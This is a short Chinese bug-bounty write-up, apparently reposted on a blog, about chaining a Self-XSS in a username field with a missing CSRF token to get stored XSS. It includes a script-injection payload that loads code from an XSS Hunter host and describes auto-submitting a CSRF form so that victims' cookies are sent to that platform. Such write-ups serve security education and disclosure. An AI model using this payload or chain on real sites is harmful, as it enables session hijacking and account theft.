通过组合Self-XSS + CSRF得到存储型XSS

在一次漏洞赏金挖掘中,我在更改用户名的功能点出发现了一个XSS,在修改用户名的地方添加了一个简单的XSS payload并且刷新页面:

用户设置面板

XSS证明

但是问题是这个功能配置并不是公共的,造成XSS漏洞的唯一方法是告诉受害者将其名称更改为恶意JavaScript代码,这称为Self-XSS,没有太大影响。

接下来,我使用burpsuite抓取 改变名字这个功能点的数据包:

从数据包来看,没有看到防御csrf的token,这看起来有可利用的点,于是我使用burpsuite 生成了CSRF poc

并在浏览器中重放,而得到的响应是:success

nice!现在我们有了CSRF + Self-XSS,让我们将它们组合在一起,表单如下:

最终POC

在名字字段我添加了JavaScript代码它是从xsshunter.comhttps://xsshunter.com/生成的XSS PoC

复制代码
复制代码
"><script src=https://***.xss.ht></script>

在最后我添加了JavaScript自动提交表单,使其更有效。

现在,用户名更改为JavaScript代码后,浏览主页的代码将在目标的浏览器中加载,并向XSS hunter平台发送回cookie。

存储XSS

回到XSSHunter,当任何用户打开我们的HTML表单时,平台获取到了目标cookie,由此我们可得到了一个Stored XSS(存储型XSS)。

无偿 获 取 网 安 资 料:

申明:本账号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,所有渗透都需获取授权,违者后果自行承担,与本号及作者无关

相关推荐
光影少年1 分钟前
react navite本地存储:AsyncStorage、MMKV、文件存储
前端·react native·react.js
曹牧3 分钟前
C#:问号
前端·数据库·c#
王林不想说话5 分钟前
JavaScript 从入门到进阶:一篇覆盖核心知识、运行机制与工程实践
javascript
windliang6 分钟前
Claude Code 源码分析(十一):一段会话怎样保存、恢复与续写
前端·javascript·人工智能
掘金一周6 分钟前
掘友们,你们现在下班了都玩啥游戏?| 沸点周刊 8.13
前端·人工智能·后端
HjhIron11 分钟前
别再傻等后端接口了!React + Vite + Mock 打造真正的前后端分离开发体验
前端
奇树谦12 分钟前
《现代 Key-Value 数据库原理:从 B+Tree 到 LSM Tree》-第五篇:现代数据库横向对比
数据库·lsm-tree
用户9210802628612 分钟前
从 CSS 到 Vue Scoped:一篇讲透前端样式的工程化认知
前端
李白客13 分钟前
分布式集群与数据库产业:从单机到集群的架构跃迁与市场重构
数据库·分布式·架构
Doraemomo29 分钟前
Linux编程-标准IO和系统IO
linux·运维·服务器